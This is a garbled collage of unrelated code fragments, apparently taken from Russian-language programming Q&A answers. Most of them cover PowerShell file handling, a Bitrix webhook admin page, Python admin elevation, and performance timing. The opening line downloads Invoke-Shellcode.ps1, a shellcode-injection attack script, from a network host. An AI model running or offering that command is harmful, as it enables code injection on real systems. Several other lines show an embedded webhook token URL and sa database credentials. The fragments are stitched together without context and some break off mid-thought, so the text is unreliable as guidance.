(New-Object Net.WebClient).DownloadString("http://192.168.0.14:8000/Invoke-Shellcode.ps1")
<?php require_once($_SERVER['DOCUMENT_ROOT'] .
"/bitrix/modules/main/include/prolog_admin.php"); ?>
<div class="adm-workarea">
<? $APPLICATION->IncludeComponent(
"bitrix:rest.hook",
".default",
[
"SEF_MODE" => "Y",
"SEF_FOLDER" => "/local/rest/",
"COMPONENT_TEMPLATE" => ".default",
"SEF_URL_TEMPLATES" => [
"list" => "",
"event_list" => "event/",
"event_edit" => "event/#id#/",
"ap_list" => "ap/",
"ap_edit" => "ap/#id#/",
]
],
false
); ?>
<br>
<a href="javascript:void(0)" class="adm-btn adm-btn-green"
onclick="BX.PopupMenu.show('rest_hook_menu', this, [{
'href':'/local/rest/event/0/',
'text':'Исходящий вебхук'
},{
'href':'/local/rest/ap/0/',
'text':'Входящий вебхук'
}])">
Добавить вебхук
</a>
</div>
<? require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/epilog_admin.php");
array(
'CONDITION' => '#^/local/rest/#',
'RULE' => '',
'ID' => 'bitrix:rest.hook',
'PATH' => '/local/rest/index.php',
),
https: //site.domain/rest/17607/p8n2dh2hf2nf258n/profile/
Get-ChildItem "C:\Temp\files\*.txt" | Group-Object {$_.Name.Substring(2)} | Foreach-Object { $_.Group | Select -Skip 1 }
А теперь вопрос, правильно ли я понимаю, что при вводе например первого символа f из foobar фактически в powershell вводятся следующая последовательность: \b\b\b\bfhey1 ?
PS D:\> Write-Host 'tohost' > d:\111
tohost
PS D:\> Get-Content d:\111
PS D:\> Write-Output 'tooutput' > d:\111
PS D:\> Get-Content d:\111
tooutput
PS D:\>
Powershell -Noprofile -Command "Write-Host 'tohost'; Write-Output 'tooutput' " > D:\111
Powershell -Noprofile -Command "Get-Content d:\111"
import ctypes, sys
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
# Code of your program here
print("I'm admin")
input()
else:
# Re-run the program with admin rights
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
ctypes.windll.shell32.ShellExecuteW(None, "", "slmgr.vbs", "/ipk W269N-WFGWX-YVC9B-4J6C9-T83GX", None, 1)
foreach ($DatabaseName in $MyBase.Name) {
$BackupPath = $smoserver.Databases['msdb'].ExecuteWithResults("SELECT TOP 1 backupmediafamily.physical_device_name FROM backupset JOIN backupmediafamily ON backupset.media_set_id = backupmediafamily.media_set_id WHERE backupset.database_name = '$($DatabaseName)' ORDER BY backupset.backup_start_date DESC")
$BackupPath.Tables[0].physical_device_name
}
return $true
), то записать результат $result = Test-SQLConnection "Data Source=base;database=name;User ID=sa;Password=password;"
#так там будет true/false
New-Item -Path "C:\TbKassa\Bin" -Name "marker.txt" -ItemType "file" -Value $result -Force
#а так - 1/0
New-Item -Path "C:\TbKassa\Bin" -Name "marker.txt" -ItemType "file" -Value ([int]$result) -Force
if $u = ( $true) {
должно быть if ($u -eq $true) {
или просто if ($u) {
$no_remove = 'dir1', 'dir2', 'dir3'
$path = 'c:\temp'
Get-ChildItem $path | Where-Object { $_.Name -notin $no_remove } | Remove-Item -Force -Recurse -WhatIf
$_.Name -notin $no_remove -and 'Directory' -in $_.Attributes
-WhatIf
убрать > df
Filesystem Available Mounted on
NFS 8713914531840 /vmfs/volumes/Store
PS > New-HardDisk -VM MyVM -CapacityGB 100 -Datastore Store
> ls /vmfs/volumes/Store/MyVM/*flat.vmdk -la
107374182400 Dec 9 07:32 /vmfs/volumes/Store/MyVM/MyVM_1-flat.vmdk
> df
Filesystem Available Mounted on
NFS 8713914527744 /vmfs/volumes/Store
PS > 8713914531840 - 8713914527744
4096
Import-csv
вы никак не ускорите.$dataColl
- реальный кандидат на ускорение...
$dataColl = New-Object System.Collections.ArrayList
foreach ($Path in $Paths){
....
[void]$dataColl.Add($dataObject)
}
}
...
Measure-Command { $a = @(); 1..1000 | %{ $a += $_ } }
TotalMilliseconds : 40,3721
Measure-Command { $a = New-Object System.Collections.ArrayList; 1..1000 | %{ [void]$a.Add($_) } }
TotalMilliseconds : 18,5863
# А для 10000 уже
TotalMilliseconds : 2016,3737
vs
TotalMilliseconds : 57,6177
$oldfile = Get-FileHash .\old\*
$newfile = Get-FileHash .\new\*
Compare-Object $oldfile $newfile -Property Hash -PassThru |
Where-Object { $_.SideIndicator -eq '<=' } |
Foreach-Object { Copy-Item $_.Path -Destination $Destination }
$oldfile = Get-ChildItem .\old\* -Recurse | Get-FileHash
$newfile = Get-ChildItem .\new\* -Recurse | Get-FileHash
..
$row1 = @($buttonsubcheck, $buttonsubtrial)
$row2 = @($buttonsubback)
$buttonssub = ($row1, $row2)
..